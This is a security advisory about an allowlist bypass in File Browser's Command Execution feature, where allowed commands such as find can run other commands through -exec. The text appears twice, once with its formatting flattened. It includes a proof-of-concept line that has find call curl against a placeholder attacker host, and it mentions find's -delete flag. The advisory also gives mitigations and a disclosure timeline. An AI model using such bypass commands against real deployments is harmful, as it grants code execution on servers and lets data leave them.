Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailableIt should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26 Identified the vulnerability in version 2.32.02025-06-25 Uploaded advisories to the project's GitHub repository2025-06-25 CVE ID assigned by GitHub2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on filebrowser/filebrowser#5199.
References
Credits
References
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the
Execute commandspermissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the
findcommand and nothing else, this restriction can be circumvented by using the-execflag.Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
As a prerequisite, an attacker needs an account with the
Execute Commandspermission and some permitted commands.Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable
Execute commandsfor all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.The
prlimitcommand can be used to prevent the execution of subcommands:It should be prepended to any command executed in the context of the application.
prlimitcan be used for containerized deployments as well as for bare-metal ones.WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the
findcommand can also delete files directly via its-deleteflag.As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26Identified the vulnerability in version 2.32.02025-06-25Uploaded advisories to the project's GitHub repository2025-06-25CVE ID assigned by GitHub2025-06-25A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on filebrowser/filebrowser#5199.References
Credits
References